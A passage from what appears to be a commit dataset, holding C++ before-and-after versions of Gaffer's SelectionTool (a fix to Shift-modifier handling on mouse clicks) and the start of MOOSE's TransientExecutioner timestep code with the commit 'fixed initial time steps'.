GafferSceneUI;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ DragOverlay implementation\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nclass SelectionTool::DragOverlay : public GafferUI::Gadget\n{\n\n\tpublic :\n\n\t\tDragOverlay()\n\t\t\t:\tGadget()\n\t\t{\n\t\t}\n\n\t\tImath::Box3f bound() const override\n\t\t{\n\t\t\t\/\/ we draw in raster space so don't have a sensible bound\n\t\t\treturn Box3f();\n\t\t}\n\n\t\tvoid setStartPosition( const V3f &p )\n\t\t{\n\t\t\tif( m_startPosition == p )\n\t\t\t{\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tm_startPosition = p;\n\t\t\trequestRender();\n\t\t}\n\n\t\tconst V3f &getStartPosition() const\n\t\t{\n\t\t\treturn m_startPosition;\n\t\t}\n\n\t\tvoid setEndPosition( const V3f &p )\n\t\t{\n\t\t\tif( m_endPosition == p )\n\t\t\t{\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tm_endPosition = p;\n\t\t\trequestRender();\n\t\t}\n\n\t\tconst V3f &getEndPosition() const\n\t\t{\n\t\t\treturn m_endPosition;\n\t\t}\n\n\tprotected :\n\n\t\tvoid doRenderLayer( Layer layer, const Style *style ) const override\n\t\t{\n\t\t\tif( layer != Layer::Main )\n\t\t\t{\n\t\t\t\treturn Gadget::doRenderLayer( layer, style );\n\t\t\t}\n\n\t\t\tif( IECoreGL::Selector::currentSelector() )\n\t\t\t{\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tconst ViewportGadget *viewportGadget = ancestor<ViewportGadget>();\n\t\t\tViewportGadget::RasterScope rasterScope( viewportGadget );\n\n\t\t\tBox2f b;\n\t\t\tb.extendBy( viewportGadget->gadgetToRasterSpace( m_startPosition, this ) );\n\t\t\tb.extendBy( viewportGadget->gadgetToRasterSpace( m_endPosition, this ) );\n\n\t\t\tstyle->renderSelectionBox( b );\n\t\t}\n\n\tprivate :\n\n\t\tImath::V3f m_startPosition;\n\t\tImath::V3f m_endPosition;\n\n};\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ SelectionTool implementation\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nIE_CORE_DEFINERUNTIMETYPED( SelectionTool );\n\nSelectionTool::ToolDescription<SelectionTool, SceneView> SelectionTool::g_toolDescription;\nstatic IECore::InternedString g_dragOverlayName( \"__selectionToolDragOverlay\" );\n\nSelectionTool::SelectionTool( SceneView *view, const std::string &name )\n\t:\tTool( view, name )\n{\n\tSceneGadget *sg = sceneGadget();\n\n\tsg->buttonPressSignal().connect( boost::bind( &SelectionTool::buttonPress, this, ::_2 ) );\n\tsg->dragBeginSignal().connect( boost::bind( &SelectionTool::dragBegin, this, ::_1, ::_2 ) );\n\tsg->dragEnterSignal().connect( boost::bind( &SelectionTool::dragEnter, this, ::_1, ::_2 ) );\n\tsg->dragMoveSignal().connect( boost::bind( &SelectionTool::dragMove, this, ::_2 ) );\n\tsg->dragEndSignal().connect( boost::bind( &SelectionTool::dragEnd, this, ::_2 ) );\n}\n\nSelectionTool::~SelectionTool()\n{\n}\n\nSceneGadget *SelectionTool::sceneGadget()\n{\n\treturn runTimeCast<SceneGadget>( view()->viewportGadget()->getPrimaryChild() );\n}\n\nSelectionTool::DragOverlay *SelectionTool::dragOverlay()\n{\n\t\/\/ All instances of SelectionTool share a single drag overlay - this\n\t\/\/ allows SelectionTool to be subclassed for the creation of other tools.\n\tDragOverlay *result = view()->viewportGadget()->getChild<DragOverlay>( g_dragOverlayName );\n\tif( !result )\n\t{\n\t\tresult = new DragOverlay;\n\t\tview()->viewportGadget()->setChild( g_dragOverlayName, result );\n\t\tresult->setVisible( false );\n\t}\n\treturn result;\n}\n\nbool SelectionTool::buttonPress( const GafferUI::ButtonEvent &event )\n{\n\tif( event.buttons != ButtonEvent::Left )\n\t{\n\t\treturn false;\n\t}\n\n\tif( !activePlug()->getValue() )\n\t{\n\t\treturn false;\n\t}\n\n\tSceneGadget *sg = sceneGadget();\n\tScenePlug::ScenePath objectUnderMouse;\n\tsg->objectAt( event.line, objectUnderMouse );\n\n\tPathMatcher selection = sg->getSelection();\n\n\tconst bool shiftHeld = event.modifiers && ButtonEvent::Shift;\n\tif( !objectUnderMouse.size() )\n\t{\n\t\t\/\/ background click - clear the selection unless\n\t\t\/\/ shift is held in which case we might be starting\n\t\t\/\/ a drag to add more.\n\t\tif( !shiftHeld )\n\t\t{\n\t\t\tContextAlgo::setSelectedPaths( view()->getContext(), IECore::PathMatcher() );\n\t\t}\n\t}\n\telse\n\t{\n\t\tconst bool objectSelectedAlready = selection.match( objectUnderMouse ) & PathMatcher::ExactMatch;\n\n\t\tif( objectSelectedAlready )\n\t\t{\n\t\t\tif( shiftHeld )\n\t\t\t{\n\t\t\t\tselection.removePath( objectUnderMouse );\n\t\t\t\tContextAlgo::setSelectedPaths( view()->getContext(), selection );\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\tif( !shiftHeld )\n\t\t\t{\n\t\t\t\tContextAlgo::setSelectedPaths( view()->getContext(), IECore::PathMatcher() );\n\t\t\t}\n\t\t\tContextAlgo::setLastSelectedPath( view()->getContext(), objectUnderMouse );\n\t\t}\n\t}\n\n\treturn true;\n}\n\nIECore::RunTimeTypedPtr SelectionTool::dragBegin( GafferUI::Gadget *gadget, const GafferUI::DragDropEvent &event )\n{\n\tSceneGadget *sg = sceneGadget();\n\tScenePlug::ScenePath objectUnderMouse;\n\n\tif( !sg->objectAt( event.line, objectUnderMouse ) )\n\t{\n\t\t\/\/ drag to select\n\t\tdragOverlay()->setStartPosition( event.line.p1 );\n\t\tdragOverlay()->setEndPosition( event.line.p1 );\n\t\tdragOverlay()->setVisible( true );\n\t\treturn gadget;\n\t}\n\telse\n\t{\n\t\tconst PathMatcher &selection = sg->getSelection();\n\t\tif( selection.match( objectUnderMouse ) & PathMatcher::ExactMatch )\n\t\t{\n\t\t\t\/\/ drag the selection somewhere\n\t\t\tIECore::StringVectorDataPtr dragData = new IECore::StringVectorData();\n\t\t\tselection.paths( dragData->writable() );\n\t\t\tPointer::setCurrent( \"objects\" );\n\t\t\treturn dragData;\n\t\t}\n\t}\n\treturn nullptr;\n}\n\nbool SelectionTool::dragEnter( const GafferUI::Gadget *gadget, const GafferUI::DragDropEvent &event )\n{\n\treturn event.sourceGadget == gadget && event.data == gadget;\n}\n\nbool SelectionTool::dragMove( const GafferUI::DragDropEvent &event )\n{\n\tdragOverlay()->setEndPosition( event.line.p1 );\n\treturn true;\n}\n\nbool SelectionTool::dragEnd( const GafferUI::DragDropEvent &event )\n{\n\tPointer::setCurrent( \"\" );\n\tif( !dragOverlay()->getVisible() )\n\t{\n\t\treturn false;\n\t}\n\n\tdragOverlay()->setVisible( false );\n\n\tSceneGadget *sg = sceneGadget();\n\tPathMatcher selection = sg->getSelection();\n\n\tif( sg->objectsAt( dragOverlay()->getStartPosition(), dragOverlay()->getEndPosition(), selection ) )\n\t{\n\t\tContextAlgo::setSelectedPaths( view()->getContext(), selection );\n\t}\n\n\treturn true;\n}\n<commit_msg>SelectionTool : Fix modifier handling during mouse clicks<commit_after>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/  Copyright (c) 2014, Image Engine Design Inc. All rights reserved.\n\/\/\n\/\/  Redistribution and use in source and binary forms, with or without\n\/\/  modification, are permitted provided that the following conditions are\n\/\/  met:\n\/\/\n\/\/      * Redistributions of source code must retain the above\n\/\/        copyright notice, this list of conditions and the following\n\/\/        disclaimer.\n\/\/\n\/\/      * Redistributions in binary form must reproduce the above\n\/\/        copyright notice, this list of conditions and the following\n\/\/        disclaimer in the documentation and\/or other materials provided with\n\/\/        the distribution.\n\/\/\n\/\/      * Neither the name of John Haddon nor the names of\n\/\/        any other contributors to this software may be used to endorse or\n\/\/        promote products derived from this software without specific prior\n\/\/        written permission.\n\/\/\n\/\/  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS\n\/\/  IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,\n\/\/  THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n\/\/  PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR\n\/\/  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n\/\/  EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n\/\/  PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n\/\/  PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\n\/\/  LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n\/\/  NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n\/\/  SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"GafferSceneUI\/SelectionTool.h\"\n\n#include \"GafferSceneUI\/ContextAlgo.h\"\n#include \"GafferSceneUI\/SceneView.h\"\n\n#include \"GafferScene\/ScenePlug.h\"\n\n#include \"GafferUI\/Pointer.h\"\n#include \"GafferUI\/Style.h\"\n\n#include \"boost\/bind.hpp\"\n\nusing namespace Imath;\nusing namespace IECore;\nusing namespace Gaffer;\nusing namespace GafferUI;\nusing namespace GafferScene;\nusing namespace GafferSceneUI;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ DragOverlay implementation\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nclass SelectionTool::DragOverlay : public GafferUI::Gadget\n{\n\n\tpublic :\n\n\t\tDragOverlay()\n\t\t\t:\tGadget()\n\t\t{\n\t\t}\n\n\t\tImath::Box3f bound() const override\n\t\t{\n\t\t\t\/\/ we draw in raster space so don't have a sensible bound\n\t\t\treturn Box3f();\n\t\t}\n\n\t\tvoid setStartPosition( const V3f &p )\n\t\t{\n\t\t\tif( m_startPosition == p )\n\t\t\t{\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tm_startPosition = p;\n\t\t\trequestRender();\n\t\t}\n\n\t\tconst V3f &getStartPosition() const\n\t\t{\n\t\t\treturn m_startPosition;\n\t\t}\n\n\t\tvoid setEndPosition( const V3f &p )\n\t\t{\n\t\t\tif( m_endPosition == p )\n\t\t\t{\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tm_endPosition = p;\n\t\t\trequestRender();\n\t\t}\n\n\t\tconst V3f &getEndPosition() const\n\t\t{\n\t\t\treturn m_endPosition;\n\t\t}\n\n\tprotected :\n\n\t\tvoid doRenderLayer( Layer layer, const Style *style ) const override\n\t\t{\n\t\t\tif( layer != Layer::Main )\n\t\t\t{\n\t\t\t\treturn Gadget::doRenderLayer( layer, style );\n\t\t\t}\n\n\t\t\tif( IECoreGL::Selector::currentSelector() )\n\t\t\t{\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tconst ViewportGadget *viewportGadget = ancestor<ViewportGadget>();\n\t\t\tViewportGadget::RasterScope rasterScope( viewportGadget );\n\n\t\t\tBox2f b;\n\t\t\tb.extendBy( viewportGadget->gadgetToRasterSpace( m_startPosition, this ) );\n\t\t\tb.extendBy( viewportGadget->gadgetToRasterSpace( m_endPosition, this ) );\n\n\t\t\tstyle->renderSelectionBox( b );\n\t\t}\n\n\tprivate :\n\n\t\tImath::V3f m_startPosition;\n\t\tImath::V3f m_endPosition;\n\n};\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ SelectionTool implementation\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nIE_CORE_DEFINERUNTIMETYPED( SelectionTool );\n\nSelectionTool::ToolDescription<SelectionTool, SceneView> SelectionTool::g_toolDescription;\nstatic IECore::InternedString g_dragOverlayName( \"__selectionToolDragOverlay\" );\n\nSelectionTool::SelectionTool( SceneView *view, const std::string &name )\n\t:\tTool( view, name )\n{\n\tSceneGadget *sg = sceneGadget();\n\n\tsg->buttonPressSignal().connect( boost::bind( &SelectionTool::buttonPress, this, ::_2 ) );\n\tsg->dragBeginSignal().connect( boost::bind( &SelectionTool::dragBegin, this, ::_1, ::_2 ) );\n\tsg->dragEnterSignal().connect( boost::bind( &SelectionTool::dragEnter, this, ::_1, ::_2 ) );\n\tsg->dragMoveSignal().connect( boost::bind( &SelectionTool::dragMove, this, ::_2 ) );\n\tsg->dragEndSignal().connect( boost::bind( &SelectionTool::dragEnd, this, ::_2 ) );\n}\n\nSelectionTool::~SelectionTool()\n{\n}\n\nSceneGadget *SelectionTool::sceneGadget()\n{\n\treturn runTimeCast<SceneGadget>( view()->viewportGadget()->getPrimaryChild() );\n}\n\nSelectionTool::DragOverlay *SelectionTool::dragOverlay()\n{\n\t\/\/ All instances of SelectionTool share a single drag overlay - this\n\t\/\/ allows SelectionTool to be subclassed for the creation of other tools.\n\tDragOverlay *result = view()->viewportGadget()->getChild<DragOverlay>( g_dragOverlayName );\n\tif( !result )\n\t{\n\t\tresult = new DragOverlay;\n\t\tview()->viewportGadget()->setChild( g_dragOverlayName, result );\n\t\tresult->setVisible( false );\n\t}\n\treturn result;\n}\n\nbool SelectionTool::buttonPress( const GafferUI::ButtonEvent &event )\n{\n\tif( event.buttons != ButtonEvent::Left )\n\t{\n\t\treturn false;\n\t}\n\n\tif( !activePlug()->getValue() )\n\t{\n\t\treturn false;\n\t}\n\n\tSceneGadget *sg = sceneGadget();\n\tScenePlug::ScenePath objectUnderMouse;\n\tsg->objectAt( event.line, objectUnderMouse );\n\n\tPathMatcher selection = sg->getSelection();\n\n\tconst bool shiftHeld = event.modifiers & ButtonEvent::Shift;\n\tif( !objectUnderMouse.size() )\n\t{\n\t\t\/\/ background click - clear the selection unless\n\t\t\/\/ shift is held in which case we might be starting\n\t\t\/\/ a drag to add more.\n\t\tif( !shiftHeld )\n\t\t{\n\t\t\tContextAlgo::setSelectedPaths( view()->getContext(), IECore::PathMatcher() );\n\t\t}\n\t}\n\telse\n\t{\n\t\tconst bool objectSelectedAlready = selection.match( objectUnderMouse ) & PathMatcher::ExactMatch;\n\n\t\tif( objectSelectedAlready )\n\t\t{\n\t\t\tif( shiftHeld )\n\t\t\t{\n\t\t\t\tselection.removePath( objectUnderMouse );\n\t\t\t\tContextAlgo::setSelectedPaths( view()->getContext(), selection );\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\tif( !shiftHeld )\n\t\t\t{\n\t\t\t\tContextAlgo::setSelectedPaths( view()->getContext(), IECore::PathMatcher() );\n\t\t\t}\n\t\t\tContextAlgo::setLastSelectedPath( view()->getContext(), objectUnderMouse );\n\t\t}\n\t}\n\n\treturn true;\n}\n\nIECore::RunTimeTypedPtr SelectionTool::dragBegin( GafferUI::Gadget *gadget, const GafferUI::DragDropEvent &event )\n{\n\tSceneGadget *sg = sceneGadget();\n\tScenePlug::ScenePath objectUnderMouse;\n\n\tif( !sg->objectAt( event.line, objectUnderMouse ) )\n\t{\n\t\t\/\/ drag to select\n\t\tdragOverlay()->setStartPosition( event.line.p1 );\n\t\tdragOverlay()->setEndPosition( event.line.p1 );\n\t\tdragOverlay()->setVisible( true );\n\t\treturn gadget;\n\t}\n\telse\n\t{\n\t\tconst PathMatcher &selection = sg->getSelection();\n\t\tif( selection.match( objectUnderMouse ) & PathMatcher::ExactMatch )\n\t\t{\n\t\t\t\/\/ drag the selection somewhere\n\t\t\tIECore::StringVectorDataPtr dragData = new IECore::StringVectorData();\n\t\t\tselection.paths( dragData->writable() );\n\t\t\tPointer::setCurrent( \"objects\" );\n\t\t\treturn dragData;\n\t\t}\n\t}\n\treturn nullptr;\n}\n\nbool SelectionTool::dragEnter( const GafferUI::Gadget *gadget, const GafferUI::DragDropEvent &event )\n{\n\treturn event.sourceGadget == gadget && event.data == gadget;\n}\n\nbool SelectionTool::dragMove( const GafferUI::DragDropEvent &event )\n{\n\tdragOverlay()->setEndPosition( event.line.p1 );\n\treturn true;\n}\n\nbool SelectionTool::dragEnd( const GafferUI::DragDropEvent &event )\n{\n\tPointer::setCurrent( \"\" );\n\tif( !dragOverlay()->getVisible() )\n\t{\n\t\treturn false;\n\t}\n\n\tdragOverlay()->setVisible( false );\n\n\tSceneGadget *sg = sceneGadget();\n\tPathMatcher selection = sg->getSelection();\n\n\tif( sg->objectsAt( dragOverlay()->getStartPosition(), dragOverlay()->getEndPosition(), selection ) )\n\t{\n\t\tContextAlgo::setSelectedPaths( view()->getContext(), selection );\n\t}\n\n\treturn true;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/****************************************************************\/\n\/*               DO NOT MODIFY THIS HEADER                      *\/\n\/* MOOSE - Multiphysics Object Oriented Simulation Environment  *\/\n\/*                                                              *\/\n\/*           (c) 2010 Battelle Energy Alliance, LLC             *\/\n\/*                   ALL RIGHTS RESERVED                        *\/\n\/*                                                              *\/\n\/*          Prepared by Battelle Energy Alliance, LLC           *\/\n\/*            Under Contract No. DE-AC07-05ID14517              *\/\n\/*            With the U. S. Department of Energy               *\/\n\/*                                                              *\/\n\/*            See COPYRIGHT for full restrictions               *\/\n\/****************************************************************\/\n\n#include \"TransientExecutioner.h\"\n\n\/\/Moose includes\n#include \"Kernel.h\"\n#include \"MaterialFactory.h\"\n#include \"MooseSystem.h\"\n#include \"ComputeJacobian.h\"\n#include \"ComputeResidual.h\"\n\n\/\/libMesh includes\n#include \"implicit_system.h\"\n#include \"nonlinear_implicit_system.h\"\n#include \"transient_system.h\"\n#include \"numeric_vector.h\"\n\n\/\/ C++ Includes\n#include <iomanip>\n\ntemplate<>\nInputParameters validParams<TransientExecutioner>()\n{\n  InputParameters params = validParams<Executioner>();\n  std::vector<Real> sync_times(1);\n  sync_times[0] = -1;\n\n  params.addParam<Real>(\"start_time\",      0.0,    \"The start time of the simulation\");\n  params.addParam<Real>(\"end_time\",        1.0e30, \"The end time of the simulation\");\n  params.addRequiredParam<Real>(\"dt\", \"The timestep size between solves\");\n  params.addParam<Real>(\"dtmin\",           0.0,    \"The minimum timestep size in an adaptive run\");\n  params.addParam<Real>(\"dtmax\",           1.0e30, \"The maximum timestep size in an adaptive run\");\n  params.addParam<Real>(\"num_steps\",       std::numeric_limits<Real>::max(),     \"The number of timesteps in a transient run\");\n  params.addParam<int> (\"n_startup_steps\", 0,      \"The number of timesteps during startup\");\n  params.addParam<bool>(\"trans_ss_check\",  false,  \"Whether or not to check for steady state conditions\");\n  params.addParam<Real>(\"ss_check_tol\",    1.0e-08,\"Whenever the relative residual changes by less than this the solution will be considered to be at steady state.\");\n  params.addParam<Real>(\"ss_tmin\",         0.0,    \"Minimum number of timesteps to take before checking for steady state conditions.\");\n  params.addParam<std::vector<Real> >(\"sync_times\", sync_times, \"A list of times that will be solved for provided they are within the simulation time\");\n\n  return params;\n}\n\nTransientExecutioner::TransientExecutioner(const std::string & name, MooseSystem & moose_system, InputParameters parameters)\n  :Executioner(name, moose_system, parameters),\n   _t_step(moose_system.parameters().set<int> (\"t_step\") = 0),\n   _time(moose_system.parameters().set<Real>(\"time\") = getParam<Real>(\"start_time\")),\n   _input_dt(getParam<Real>(\"dt\")),\n   _dt(moose_system.parameters().set<Real>(\"dt\") = 0),\n   _prev_dt(-1),\n   _reset_dt(false),\n   _end_time(getParam<Real>(\"end_time\")),\n   _dtmin(getParam<Real>(\"dtmin\")),\n   _dtmax(getParam<Real>(\"dtmax\")),\n   _num_steps(getParam<Real>(\"num_steps\")),\n   _n_startup_steps(getParam<int>(\"n_startup_steps\")),\n   _trans_ss_check(getParam<bool>(\"trans_ss_check\")),\n   _ss_check_tol(getParam<Real>(\"ss_check_tol\")),\n   _ss_tmin(getParam<Real>(\"ss_tmin\")),\n   _converged(true),\n   _sync_times(getParam<std::vector<Real> >(\"sync_times\")),\n   _curr_sync_time_iter(_sync_times.begin()),\n   _remaining_sync_time(true)\n{\n  _moose_system.reinitDT();\n\n  \/\/ Advance to the first sync time if one is provided in sim time range\n  while (_remaining_sync_time && *_curr_sync_time_iter < _time)\n    if (++_curr_sync_time_iter == _sync_times.end())\n      _remaining_sync_time = false;\n}\n\nvoid\nTransientExecutioner::execute()\n{\n  preExecute();\n  \/\/ Start time loop...\n  while(keepGoing()) \n  {\n    takeStep();\n  }\n  postExecute();\n}\n\nvoid\nTransientExecutioner::takeStep()\n{\n  \/\/ If this is the first step\n  if(_t_step == 0)\n  {\n    _t_step = 1;\n    _dt = _input_dt;\n  }\n\n  if(_converged)\n  {\n\/\/    std::cout << \"copy\" << std::endl;\n    \/\/ Update backward time solution vectors\n    _moose_system.copy_old_solutions();\n  }    \n\n  _moose_system.getNonlinearSystem()->update();\n\n  Real dt_cur = computeDT();\n\n  \/\/ Don't let the time step size exceed maximum time step size\n  if(dt_cur > _dtmax)\n    dt_cur = _dtmax;\n\n  \/\/ Don't allow time step size to be smaller than minimum time step size\n  if(dt_cur < _dtmin)\n    dt_cur = _dtmin;\n          \n  \/\/ Don't let time go beyond simulation end time\n  if(_time + dt_cur > _end_time)\n    dt_cur = _end_time - _time;\n\n  \/\/ Adjust to a sync time if supplied and skipped over\n  if (_remaining_sync_time && _time + dt_cur > *_curr_sync_time_iter)\n  {\n    dt_cur = *_curr_sync_time_iter - _time;\n    if (++_curr_sync_time_iter == _sync_times.end())\n      _remaining_sync_time = false;\n\n    _prev_dt = _dt;\n\n    _reset_dt = true;\n  }\n  else \n  {\n    if (_reset_dt)\n    {\n      dt_cur = _prev_dt;\n      _reset_dt = false;\n    }\n  }\n\n  _dt = dt_cur;\n  _moose_system.reinitDT();\n  _moose_system.onTimestepBegin();\n\n  if(_converged)\n  {\n    \/\/ Update backward material data structures\n    _moose_system.updateMaterials();\n  } \n\n  \/\/ Increment time\n  _time += dt_cur;\n\n  _moose_system.reinitDT();\n\n  std::cout<<\"DT: \"<<dt_cur<<std::endl;\n\n  std::cout << \" Solving time step \";\n  {\n    OStringStream out;\n      \n    OSSInt(out,2,_t_step);\n    out << \", time=\";\n    OSSRealzeroleft(out,9,6,_time);\n    out <<  \"...\";\n    std::cout << out.str() << std::endl;\n  }\n\n  Moose::setSolverDefaults(_moose_system, this);\n    \n  setScaling();\n\n  preSolve();\n    \n  Moose::perf_log.push(\"solve()\",\"Solve\");\n  \/\/ System Solve\n  _moose_system.solve();\n  Moose::perf_log.pop(\"solve()\",\"Solve\");\n\n  _converged = _moose_system.getNonlinearSystem()->nonlinear_solver->converged;\n\n  postSolve();\n\n  std::cout<<\"Norm of each nonlinear variable:\"<<std::endl;\n  for(unsigned int var = 0; var < _moose_system.getNonlinearSystem()->n_vars(); var++)\n    std::cout << _moose_system.getNonlinearSystem()->variable_name(var) << \": \"\n              << _moose_system.getNonlinearSystem()->calculate_norm(*_moose_system.getNonlinearSystem()->rhs,var,DISCRETE_L2) << std::endl;\n\n  \/\/ We know whether or not the nonlinear solver thinks it converged, but we need to see if the executioner concurs\n  bool last_solve_converged = lastSolveConverged();\n    \n  \/\/ If _reset_dt is true, the time step was synced to the user defined value and we dump the solution in an output file\n  if (last_solve_converged && ((_t_step+1)%_moose_system._interval == 0 || _reset_dt)) \n  {\n    _moose_system.outputPostprocessors();\n    _moose_system.outputSystem(_t_step, _time);\n  }\n\n  if(last_solve_converged)\n  {\n    adaptMesh();\n    _t_step++;\n  }\n}\n\nReal\nTransientExecutioner::computeDT()\n{\n  if(!lastSolveConverged())\n  {\n    std::cout<<\"Solve failed... cutting timestep\"<<std::endl;\n    return _dt \/ 2.0;\n  }\n  \n  \/\/ If start up steps are needed\n  if(_t_step == 1 && _n_startup_steps > 1)\n    return _dt\/(double)(_n_startup_steps);\n  else\n    return _dt;\n}\n\nbool\nTransientExecutioner::keepGoing()\n{\n  \/\/ Check for stop condition based upon steady-state check flag:\n  if(_converged && _trans_ss_check == true && _time > _ss_tmin)\n  {\n    \/\/ Compute new time solution l2_norm\n    Real new_time_solution_norm = _moose_system.getNonlinearSystem()->current_local_solution->l2_norm();\n          \n    \/\/ Compute l2_norm relative error\n    Real ss_relerr_norm = fabs(new_time_solution_norm - _old_time_solution_norm)\/new_time_solution_norm;\n\n    \/\/ Check current solution relative error norm against steady-state tolerance\n    if(ss_relerr_norm < _ss_check_tol)\n    {\n      std::cout<<\"Steady-State Solution Achieved at time: \"<<_time<<std::endl;\n      return false;\n    }\n    else \/\/ Keep going\n    {\n      \/\/ Update solution norm for next time step  \n      _old_time_solution_norm = new_time_solution_norm;\n      \/\/ Print steady-state relative error norm\n      std::cout<<\"Steady-State Relative Differential Norm: \"<<ss_relerr_norm<<std::endl;\n    }\n  }\n\n  \/\/ Check for stop condition based upon number of simulation steps and\/or solution end time:\n  if(_t_step>_num_steps)\n    return false;\n  \n  if((_time>_end_time) || (fabs(_time-_end_time)<1.e-14))\n    return false;\n\n  return true;\n}\n\n\nbool\nTransientExecutioner::lastSolveConverged()\n{\n  return _converged;\n}  \n<commit_msg>fixed initial time steps<commit_after>\/****************************************************************\/\n\/*               DO NOT MODIFY THIS HEADER                      *\/\n\/* MOOSE - Multiphysics Object Oriented Simulation Environment  *\/\n\/*                                                              *\/\n\/*           (c) 2010 Battelle Energy Alliance, LLC             *\/\n\/*                   ALL RIGHTS RESERVED                        *\/\n\/*                                                              *\/\n\/*          Prepared by Battelle Energy Alliance, LLC           *\/\n\/*            Under Contract No. DE-AC07-05ID14517              *\/\n\/*            With the U. S. Department of Energy               *\/\n\/*                                                              *\/\n\/*            See COPYRIGHT for full restrictions               *\/\n\/****************************************************************\/\n\n#include \"TransientExecutioner.h\"\n\n\/\/Moose includes\n#include \"Kernel.h\"\n#include \"MaterialFactory.h\"\n#include \"MooseSystem.h\"\n#include \"ComputeJacobian.h\"\n#include \"ComputeResidual.h\"\n\n\/\/libMesh includes\n#include \"implicit_system.h\"\n#include \"nonlinear_implicit_system.h\"\n#include \"transient_system.h\"\n#include \"numeric_vector.h\"\n\n\/\/ C++ Includes\n#include <iomanip>\n\ntemplate<>\nInputParameters validParams<TransientExecutioner>()\n{\n  InputParameters params = validParams<Executioner>();\n  std::vector<Real> sync_times(1);\n  sync_times[0] = -1;\n\n  params.addParam<Real>(\"start_time\",      0.0,    \"The start time of the simulation\");\n  params.addParam<Real>(\"end_time\",        1.0e30, \"The end time of the simulation\");\n  params.addRequiredParam<Real>(\"dt\", \"The timestep size between solves\");\n  params.addParam<Real>(\"dtmin\",           0.0,    \"The minimum timestep size in an adaptive run\");\n  params.addParam<Real>(\"dtmax\",           1.0e30, \"The maximum timestep size in an adaptive run\");\n  params.addParam<Real>(\"num_steps\",       std::numeric_limits<Real>::max(),     \"The number of timesteps in a transient run\");\n  params.addParam<int> (\"n_startup_steps\", 0,      \"The number of timesteps during startup\");\n  params.addParam<bool>(\"trans_ss_check\",  false,  \"Whether or not to check for steady state conditions\");\n  params.addParam<Real>(\"ss_check_tol\",    1.0e-08,\"Whenever the relative residual changes by less than this the solution will be considered to be at steady state.\");\n  params.addParam<Real>(\"ss_tmin\",         0.0,    \"Minimum number of timesteps to take before checking for steady state conditions.\");\n  